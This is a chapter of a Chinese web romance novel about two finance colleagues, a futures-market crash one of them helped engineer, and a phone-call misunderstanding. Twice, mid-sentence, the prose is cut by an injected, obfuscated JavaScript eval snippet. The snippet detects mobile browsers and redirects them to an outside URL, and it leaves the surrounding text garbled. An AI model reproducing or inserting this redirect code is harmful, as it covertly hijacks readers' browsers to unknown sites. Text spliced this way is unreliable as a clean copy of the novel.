为了光线明亮一些,戚时安抱着电脑坐在了开放式的露台上,再走两步就能栽进游泳池里。他等着对方接受,而对方刚一接受,屏幕就黑了几秒。 漫长的几秒过去,沈多意终于出现在了他的屏幕上,四四方方的显示屏,不止能装下沈多意的头颈和肩膀,还能囊括他身后的沙发跟靠枕。 沈多意坐在地板上,先出声打了招呼:“你之前在睡觉吗?” 戚时安本来只穿着泳裤去冲浪,回来后也没顾得上换衣服,便裹了件浴袍,回答道:“没有,我习惯在酒店这么穿,你没有打扰我。” 这句话使沈多意安了心,他另开窗口把自己整理的数据发过去,顺便说了说自己的想法和不解之处。从打电话到现在,行情始终没有稳定下来,而且势头还是很坏。 戚时安已经大致了解了情况,率先挑明道:“甲醇这回是道坎儿,后市行情还是空头震荡为主,你要有心理准备。” 沈多意翻了翻本子,找出自己建立的数据模型:“多头还能再起来吗,我事先预估了概率,虽然不高但是——” “分析数据已经没有意义了。”戚时安发现对方又穿着那件海蓝色的针织衫,和米色的沙发配在一起,看上去特别柔和。他觉得自己也要柔和点,便细细解释道:“暴跌本就始料未及,说明此次波动不在正常规律范围内,那我们建立在原有基础上的一切数据理论就都不成立了。” 沈多意低头看着本子:“科学就是科学,以定律为核心发生千变万化,但是万变不离其宗。投资市场却大不一样,一切规律跟着变化走,说推翻就推翻。” 戚时安看着对方垂头丧气的模样,忍着笑问:“怎么了,后悔没投身科学?” 沈多意反而先笑起来,抬头重新对上摄像头,自我剖析道:“我小时候真的想当科学家来着,后来听居委会的奶奶说他儿子学金融的,工资特别高,于是我的目标就变了。” 当时小小的一个沈多意,梦想着当科学家,但是生活太沉重,以至于他更换目标时完全不假思索,戚时安想到这里便觉得命运残忍,目光中也生出些许怜惜。 可沈多意却不爱怨天尤人,他拐回原本的话题上:“为什么这次走势的反转动静这么大呢?” “因为有力量干预。”戚时安耐心答道,“股票市场有庄家坐庄,期货市场有主力控场,之前的暴涨不过是主力的障眼法,先逆势爆拉,吸引大量散户进来,然后一记重锤砸下,踢散户出局,这个回合结束他们已经用最低价获得最大限度的仓足廪实,并且后市在短期之内都要看他们的动作。” 仓廪实而知礼节,但是为了先达到前一步可不讲究那么多,资本向来残忍。 沈多意终于明白了来龙去脉,可他这个弱势散户已经被砸变形了,抬手揉了揉眼睛,无奈地问:“那我只能任人鱼肉吗?” 戚时安隔着屏幕敲在了沈多意的脑门儿上:“既然打不过,那你就跑啊。” 千百种选择,再去其他地方把赔的钱赚回来呗。戚时安切了小窗口看最近的大体行情,说:“我这几天没顾上盯着,等我出差回去帮你看看,重新选一选。” 沈多意揉完眼睛的手撑着地,身体有点偏斜,他再次道谢:“谢谢你啊,术业有专攻,我还是差些火候。” “不用谢,有什么问题随时打给我。”戚时安感知到这场视频即将结束,但他却不想将目光从屏幕上移开。 “我还是发邮件吧,万一你在工作呢。”沈多意既觉得自己挺善解人意,但也知道自己有些得了便宜还卖乖。 他以为戚时安会笑话他两句,谁知对方却没回应,抬眼看去,彼此的视线也没有交集。 “你在听吗?” “戚先生,别发呆了。” “你到底在看什么呢?” 沈多意耐心耗尽,伸手冲着摄像头打了个响指,动作幅度有点大,身体偏斜得更加厉害。而屏幕里面的戚时安终于有了反应,可表情带着丝意犹未尽。 就在沈多意纳闷儿时,戚时安轻飘飘地说:“锁骨很漂亮。” “……” 沈多意“啪嗒”合上了电脑,然后用力扯了扯衣领。 针织衫就这臭毛病,穿久了返松,他得再买件新的。 面对戛然而止的视频,戚时安已经倍感心满意足,他把电脑随手搁在一旁,然后仰躺在沙滩椅上发散愧疚之情,还没发散完的时候,手机铃声再次响了起来。 章以明在里面大声指责:“还是不是兄弟了?!你瞄准甲醇的时候不叫我?!” 戚时安说:“忙忘了吧,回去请你喝酒。” “你一笔捞几千万就请我喝酒?”章以明骂道,“这两天要不是见了游哲,我还什么都不知道呢!这次的合伙人都有谁?” “都是高级操盘手,被动为官方打工。”戚时安言尽于此,章以明在那边也立刻懂了。 这种主力操控等于干扰市场,而首遭其害的就是散户和中小型企业,虽然资金角逐本就是淘汰赛,但方式未免太残酷。戚时安是明安的高级合伙人,也是中央街数得上的高级操盘手,凑几个他这样的精英就能来一场反转戏。 即使他不想参与,但当官方机构有人介入,他就只能遵从做一回临时工。 章以明不再瞎咋呼,又开始八卦起来:“见游思了吗?她现在有男朋友了吗?” “没见,先玩两天。”戚时安打心眼里佩服,对于浪子情种来说,万水千山或者大洲大洋都不是问题,惦记的美色能从南极排到北极。 一场视频,一通电话,戚时安的冲浪计划彻底被掐断了,退房前他也懒得再出去,于是脱了浴袍跳进游泳池扑腾了四百米。 沈多意已经接受了任人鱼肉的现实,但绝没想到戚时安就是举刀的其中之一。他把期货相关的处理干净,暂时先空仓等候,等对方回来再合计。 甲醇这波影响不小,基本承包了最近一段时间的热点,明安大楼里不少员工都在讨论。沈多意奔波于办公室和培训厅,繁忙的工作倒使他像个不知情的局外人。 “沈组长,结束了吗?” 沈多意抬眼看到安妮,他把文件收好,回答:“结束了,有事吗?” “戚先生整理了份资料让我给您参考。”安妮把文件送来,“培训很费嗓子,您注意休息。” “谢谢,又劳烦你跑一趟。”沈多意接过,等安妮离开后他打开文件查看,内容像是期货产品一览,应该是戚时安筛选过的。 他记下标了着重符号的几支,准备回去详细了解一下,等他决定好了再告诉戚时安,顺道感谢。 戚时安正开着车在猎人谷驰骋,周围很多山,半人高的草又密又绿,风一吹过徐徐舞动,也算自成一派的景色。 在猎人谷待了两天,已经收到了游家二老的催促,他决定把串门计划提前,岩石区最后再去。游哲的父母和叔伯都在悉尼颐养天年,他的妹妹工作了一年后又跑来读书,反正除了游哲自己,全家人都过得随心所欲。 戚时安到达时正好中午,他还以为能吃上现成的午饭,谁知道做饼的面都没有和好。 “因为他们讨论做什么饼就用了俩钟头!”游思的侄子第一回见戚时安,但是特别自来熟,“叔叔,我叫薯条。” 戚时安问:“你姑姑呢?” “一来就问我,你是不是特想我啊?”声音从落地窗那边传来,游思拎着筐蓝莓,看样子是刚从花园里摘的,她也不走近,靠着窗框打量戚时安,“好久不见了啊,你是不是又帅了?” 戚时安说:“应该是吧。” 游父从厨房出来,问:“时安,以明这次没来啊?” “没有,他看着公司。”戚时安答完便卷袖子洗手,准备帮忙准备午餐。游思去洗蓝莓,两个人一并站在水池前面,她小声道:“章以明烦人精,隔三差五寄东西过来,让我爸惦记他。” 戚时安想起那通电话:“对了,他问你有没有男朋友。” 游思把蓝莓洗好:“他管得着嘛。”说完随手拿了两颗递到戚时安嘴边,“你先尝尝甜不甜,甜的话我再吃。” 戚时安挪开半步,伸手接过搁进嘴里:“还行。” 面粉和砂糖搅拌在一起,像摊散沙似的堆在料理台上,游母新做了指甲,万万不肯动手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727252|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游父碾磨香料,也磨磨唧唧的。 薯条玩了满手面粉,瓮声瓮气地问:“到底谁和面啊?” “我来吧。”戚时安左右洗净了手,早年在部队也学过一点做饭技能,他把牛奶和蛋清倒进面粉中,警告道,“我只和面,别的可不管。” 公司的数据库格外好用,沈多意自主加班,每项挨个审查数据。整个部门只剩下他自己,分外安静的环境下,做事效率达到了高峰值。 他进一步筛选出了几个,准备吃完泡面就打给戚时安问问。 “你电话响了。” 游思拿起戚时安的手机走近:“是我哥,那我帮你接了啊。”她接通,那边传来游哲的声音,“哥,时安已经到了,正和面呢,不方便接电话。” 戚时安微微弯腰,薯条帮他系上了围裙,游思在料理台对面和游哲通话,说着说着又开始抬杠。“哲思金融就得拉着我上班啊,我现在经营画廊更开心,你干脆改成哲哲金融好了。”游思不欲再聊,正好有电话插/进来,“不说了,有人找时安。” 她一看来电显示:“是章以明,帮你接吗?” 戚时安满手的面粉:“接吧。” “喂?”游思接通,俩损友开始糟蹋电话费,“你拨打的用户正在做饭。” 章以明重点和常人不一样,而且有着非正常的警觉性:“你为什么拿着他的手机,男女朋友都不这样隐私外露。” 游思回道:“谁跟你似的浑身隐私,我和时安就算是男女朋友,也不怕碰对方的手机。” “你俩要是能成男女朋友,还用等到二十八/九啊,别故意气我了。”章以明没什么正事,“叔叔和阿姨都挺好的吧?我寄过去的药材记得喝,滋补的。你也挺好的吧,寂寞了就回来,我一直都在。” 游思一听就开始咋呼,游父游母也在配菜上出现分歧,明明就三口人,却总是鸡飞狗跳的。戚时安笑着看戏,要是他家这么乱,早被他姥爷一嗓子吼安生了。 电话挂断,游思嗔怒道:“章以明对我性骚扰,他在公司是不是也骚扰人家女同事?” 戚时安两手黏黏糊糊的,无力道:“你冤枉他了,他骚扰与否只看姿色,不看性别。” 这厢和好了面,那厢连面汤都喝完了,沈多意收拾干净桌面,然后戴上耳机准备打给戚时安。号码已经拨出,他对着资料勾画,等待对方接听。 才响一声而已,沈多意很高兴对方接得这么快。 “你别烦了!我们俩刚刚决定在一起,你歇着吧!” 沈多意勾画的笔尖顿住,被喊懵了。 游思看都没看,以为章以明没完没了,结果说完却没听见回应。戚时安拿起旁边蛋壳砸过去:“别拉着我造谣,破坏我名誉。” 游思被蛋壳砸中叫了一声,而后狐疑地看了眼屏幕:“沈多意?” 戚时安立即骂道:“你就作吧!把手机拿过来!” 顾不得满手的面粉了,戚时安抢过手机去阳台上接听,几步的距离始终没听见那边的动静。沈多意带着耳机撒癔症,已经不知道如何开口。 “你还在吗?” 戚时安靠着栏杆:“找我有事吗?” 听到熟悉的声音传来,沈多意总算回神,他讷讷地说:“我选了K753和K760,想问问你的意见。” “可以,建议买入。”戚时安此时根本没兴趣聊这些,便敷衍地给了答案。给完也不出声,想让对方来打破沉默。 等了五分钟,电话那边毫无动静,像睡着了似的。 戚时安心急如焚:沈多意怎么还不问他女朋友的事儿? 他超级想听沈多意酸溜溜地质问他。 哪怕不酸,随便问一句也好,起码说明在意。 “那什么,”沈多意终于出声,“没别的事了,我忙去了。” 忙音直钻耳朵,戚时安吊着的一颗心被活活堵死在了喉咙口,他隔着玻璃窗瞪了游思一眼,开始组织八百字的真挚解释为自己正名。 忽然“叮”的一声,蹦进来一条信息。 沈多意发来:“你快回来了吗,我请你喝黄油啤酒吧。” 18. 第 18 章 但凡听两句出格的话就会脸红羞恼,人前向来保持着从容又斯文的模样,戚时安本以为沈多意纯情如斯,可此刻面对这条信息却迸发出势不可挡的怀疑。 问题避而不谈,反问他什么时候回去,重要的是还提一句“黄油啤酒”。 沈多意到底纯情还是高段,戚时安探究不清,他只知道自己变成了一条丧失思考能力的鱼,眼前鱼钩摇摆,一点旧事回忆就能让他毫不犹豫地咬钩上岸。 窗子被推开,游思端着两杯酒来到阳台,她边走边喝,走到戚时安面前时递出了另一杯,好奇又直接地问:“沈多意是谁?” 好歹是一起长大的,彼此都很了解,欲盖弥彰反而无趣,戚时安不假思索地回答:“明安的员工,也是老朋友。” “那你至于嘛。”游思双肩卸力,像是松了口气的感觉,“还以为你领导呢,原来是下属。怎么,怕被员工八卦吗?” 戚时安尝了尝酒,回答道:“怕啊,我这么洁身自好的人当然爱惜名誉了。” 他说完便往屋里走,准备洗掉干涸在手上的面粉,游思靠着栏杆喝酒,长发被风吹得乱飞,在吞掉最后一口后,她出声道:“我哥让我回哲思做事,可我又舍不得画廊。” 戚时安顿了片刻,转身想给句建议,但游思却仿佛逃避听到,率先拦截:“我得纠结个十天半月,甚至更久,再说吧。” “随你的便,别气着游哲就行。”戚时安实在忍受不了手指间的黏腻了,没再停留,大步走向了厨房。 一顿午餐吃得千辛万苦,薯条上桌时都要饿晕了。游父游母给戚时安讲发生在悉尼的趣事,戚时安回赠几句工作上的见闻。 他忙起来不常回家,此时作客倒是激发了点想家的情绪。 情绪这种东西就像病毒一样,种类繁多,滋生起来也不管不顾,蔓延速度还异常迅速。沈多意从离开公司回到家,再从洗完澡躺上床,整个人已经被情绪的藤蔓紧紧缚住。 他为什么发那样一条短信? 那么多种酒,提什么黄油?! 一下子就轻佻了。 沈多意越想越尴尬,电视剧看不下去,书也读不下去,刚才洗个澡还差点用沐浴露洗头发。他软绵绵地瘫在床上,手里握着沈老的痒痒挠,时不时挠一下平坦的肚子。 后来实在无聊,他趿拉上拖鞋去了隔壁房间。爷孙俩一脉相承,沈老也正瘫在床上发呆,小收音机搁在旁边,里面是评书大师单田芳在讲《七侠五义》。 “爷爷,你现在还盖毯子热不热啊?”沈多意没话找话,盘腿在床边坐下。 “我盖上热,不盖冷,过季天气真愁人。”沈老阖着眼,偶尔点评一句,“白玉堂其实不如展昭厉害,但是他有点邪性,感觉就拔高了。” 沈多意还想聊冷热的事儿:“那你晚上到底盖没盖?” “盖,热了就掀开晾晾,冷了再盖上暖暖,折腾得我快感冒了。”沈老不耐烦地把头扭向一边,“净打岔,都没听见欧阳春说什么。” 沈多意干脆躺下跟着听:“欧阳春说慕容夏不是个好东西。” 沈老终于忍无可忍:“你干吗来了?回你自己屋去!” 沈多意不动弹,跟着听完了两章,最后沈老都睡着了,收音机还开着。他找了条偏薄的毯子给沈老盖上,然后关了收音机和床头灯。 风箱旧了就会出现杂音,人老了睡觉也容易发出哼哧喘气的动静。沈多意在床边蹲下,乌漆墨黑看不清什么,但能听清沈老爷子有些费劲的呼吸。 他静静听着,直蹲到腿麻才走。 为期一周的出差即将结束,最后一天戚时安在岩石区观光,顺便买些礼物回去。他拎着袋子沿西码头闲逛,悠哉得像吃饱了遛弯。 他去过很多地方,也经常飞来飞去出差,各式的景点建筑已经无法引起他的兴趣。海港大桥很漂亮,歌剧院也很漂亮,但他瞄过一眼就算了,目光甚至懒得多停留几秒。 码头上风声喧嚣,强烈的阳光照射在海面上,水波纹带着四散的晶光,像碎掉的彩色玻璃。戚时安终于拍了一张,像那时在慕尼黑拍下的栗子摊儿一样,他以邮件形式发送给了沈多意。 正文还抱怨般写道:“其实你那天破坏了我的冲浪计划。” 沈多意看到邮件时已经第二天早晨了,他被久违的豆浆机噪音吵醒,迷糊之间还沾了份起床气,看到邮件时头脑一热,直接回道:“冲浪多危险,你可以退而求其次,冲个澡。” 早晨时间很短,要完成的项目却很多,洗漱、换衣服、吃早餐、看每日的开盘信息,沈多意忙得忘了邮件的事,轻轻打着哈欠上班去了。 他曾经因为做兼职导致睡眠不足,课上困得抬不起头。那时候班里流行用风油精醒神,他就在人中上擦一点,然后吸溜吸溜的保持清醒。 办公室里没人用风油精,沈多意别无他法,整个人都蔫蔫的。 “沈组长,昨晚干吗了,怎么这么困?” 沈多意不好意思地笑笑:“陪我爷爷听评书,他提前睡着了,我倒听得挺来劲。”说完看看手表,“等会儿章先生开会,我真怕打瞌睡,要是有风油精抹抹就好了。” “嗅觉刺激吗?”同事拿了自己桌上的香水,“这个能代替吗?” 沈多意从来没擦过香水,心里有些不适从的抗拒,只好谢绝了对方。后来章以明开会,他特意挑了显眼的位置,以防自己放松神经睡过去。 熬过了无精打采的一天,沈多意回家后早早就休息了,他计算着时间,估计明天上班就要见到出差归来的戚时安。 眼珠在薄薄的眼皮下转了转,用睡前的最后一点意志力思考要不要请对方喝酒。 戚时安已经拎着行李箱到家了,本来没拿那顿酒当回事儿,可他看见沈多意回复的邮件后,打定主意要喝一顿,为自己讨个补偿。 夜伏昼出,天亮得越来越早了,家政阿姨前一天接到通知,于是早早就开始按门铃。戚时安开门时已经穿戴整齐,第一句就出口伤人:“李阿姨,你又胖了吧。” “什么胖啊,这叫富态!” “注意事项列好了没有啊,你每次都那么多要求。” “为什么又不铺地巾?剃须刀不要头朝外放!” 戚时安被吼得青筋直跳,这位李阿姨是他妈从家政市场找的金牌阿姨,除了嗓门大简直挑不出任何毛病。他跟在李阿姨后面进了卧房,逐条反击道:“列出来不要时间么,我口述,你记一下。” “地巾铺来铺去很麻烦,我不铺。剃须刀经常用,随便放就行,别再为这个喊我。” “天气热了,把衣服倒腾一下,衬衫按颜色挂,西装熨好,寝具换套深蓝色的,看着凉快。” “所有地毯都要清洁,植物上营养土。” 再不走就要堵车了,戚时安拎上包环顾一圈:“就这些,其他的你看着办,费用和家里的一起算。” 他说完就往外走,顺便看了眼手表,李阿姨在背后喊道:“你妈妈说你两个多月没回家了,问你是不是失忆忘了她那个妈!” 戚时安晃了晃车钥匙,表示已经知道了,回家这事儿,忙起来总是一拖再拖,看来他妈有情绪了。 路上往家里去了个电话,说好这周末回家住两天。 “戚先生,早。” “早,今天的发型很适合你。”戚时安一进三十层就看见了立在门口迎接他的安妮,于是称赞了对方一句。从门口到办公室,安妮把这些天的工作大致汇总了一遍。 “戚先生,文件已经整理好了。”安妮站在办公桌前,“还是红蓝黑的顺序,由急到缓,您今天要开会吗?” 戚时安望着满桌的债:“今天不开会,我等会儿拟一个公告,你挂到系统上。” 积攒了将近十天的工作全压在桌上,戚时安要尽快处理完,他估计今天得加班到凌晨。出差前和游哲商量过中长线转移的问题,他迅速拟了份公告挂上系统,提前给各部门时间了解,方便之后的工作。 “股票投资方面中长线客户引流计划。”睡足的沈多意精神饱满,看见新公告就知道戚时安已经回来了,于是他上午见完客户就开始着手做大纲,想尽快分析出一份计划。 根本没有打过商量,却同时选择了加班。 八点来钟,两个人相遇在档案室,戚时安刷卡进门,一眼就看见了拿着文件袋的沈多意。 “哎,戚先生。”沈多意也很快发觉,抬头对上戚时安投来的目光,“你回来啦。” 戚时安打趣道:“你这加班不是公司要求的吧?” “不是,我自愿的,有点事情没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727253|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做完。”沈多意已经找好了纸质材料,其实刚才都准备回咨询部了,他询问道,“有需要我帮忙的吗?” 戚时安先在系统上进行了搜索,然后径直找了自己要的材料,但没找全,回答道:“你把我要找的资料拿走了。” 沈多意立即会意:“是关于新公告的,那你先看吧,你是决策人。” 决策人最喜欢行动力强下属,戚时安没说,但已经站在上司的角度给沈多意加了分。他拿着找好的档案,又接过对方的那份,漫不经心地问:“什么时候请我喝酒啊?” 沈多意都把这茬忘了,一时有些窘涩,也有些不乐意。不乐意是因为戚时安丝毫未解释“女朋友”的事儿,还一副特占理的样子问他什么时候请客。 他回答道:“钱都赔了,等我赚回来再请吧。” 戚时安差点乐了,但却刻意板起面孔,周遭气氛都被他带的严肃郑重起来。沈多意不明所以,心却跳得很快,总觉得对方要说些什么。 “我有话想告诉你,之前在电话里不方便讲。” 这就要解释了吗?沈多意想。 “其实,”戚时安带着歉意开口,“这次甲醇事件,我也是背后操作的主力之一。” 沈多意愣了,半晌才反应过来戚时安说了什么,他慌张的时候向对方求助,还感谢来感谢去,没想到戚时安就是宰割他这块鱼肉的刽子手之一。 见他久久不说话,戚时安问:“讨厌我了?” “没有……有些错杂。” “赔了多少?” “十几万吧。” 沈多意反应很快,回答完迅速问道:“你赚了多少?” 戚时安支吾着:“四千万吧。” “四千万?!”沈多意心里刹那间就失衡了,也不想加班了,未来一个月也不打算努力工作了! 他有点头晕,转身往外走去,并且说了进明安以来最长的一串话:“我不在咨询部了,我也操盘去,明天我就去期货部找小王拜师。凭什么我损失十几万就肝疼,你们一捞就是几千万,弄那么多钱干什么啊?铺地板啊!我也不请客了,我勒紧裤腰带攒四千万——” “别拽我!” 沈多意被戚时安抓着胳膊,他挣动两下后才发觉自己啰嗦了那么多,又羞恼又下不来台,瞪着眼说:“我回家睡觉,加班取消。” 戚时安十分欠揍:“四千万挺好花的,买辆跑车就只剩一半了,不用铺地板。” 沈多意气得头脑发热,但是想不出什么回嘴的话来,他不是词汇量不够丰富,实在是不太会应付这种无赖行为。 已近凌晨,整栋大楼除了值班巡逻的保安以外,就他们两个活人。一前一后出了电梯,戚时安跟在后面,讲话都能听得见回音。 直到出了大楼,戚时安眼看沈多意要走,出声问道:“坦白从宽,我都主动坦白了,你就原谅我一次。而且不知者无罪,我事先也不知道你买了,别生气了好吗?” 沈多意从来就不是个气性大的人,相反,他的脾气棱角已在幼时被生活磨去太多。此时初夏的夜风吹过,他那份雷声大雨点小的怒气也消散得没了几分。 “那你还有别的要坦白吗?”他转身反问,和对方隔着几步距离。 终究是没有忍住,戚时安心中窃喜,面上却波澜不惊:“接电话的女生是游哲的妹妹,也是我的发小,她以为打来的是章以明,所以故意那么说的。” 情人之间才需解释这种误会,可他们并不是情人。 但沈多意的想法很单纯,既然准备好好相处,也存在发展的概率,那至少要真诚相对。又一阵风吹过,旁边东京酒吧出来一个醉鬼。 那个醉鬼年纪不大,有些摇晃地站在门口等人,很快停下一辆车,接他的人跑过去牵住了他的手,说:“我们走吧。” 我们走吧。 怎么那么似曾相识。 有根弦“啪”得断了。 戚时安被回忆席卷,大步消除了和沈多意之间的半米距离,他的眉宇间猛荡起一股危机感,瞳孔比夜色还黑。沈多意有些惊慌,不知发生了什么。 “你怎么了?” 只听戚时安瞋目切齿地问:“你的小男朋友呢?!断干净没有?” 沈多意倍感迷茫,他的……小男朋友?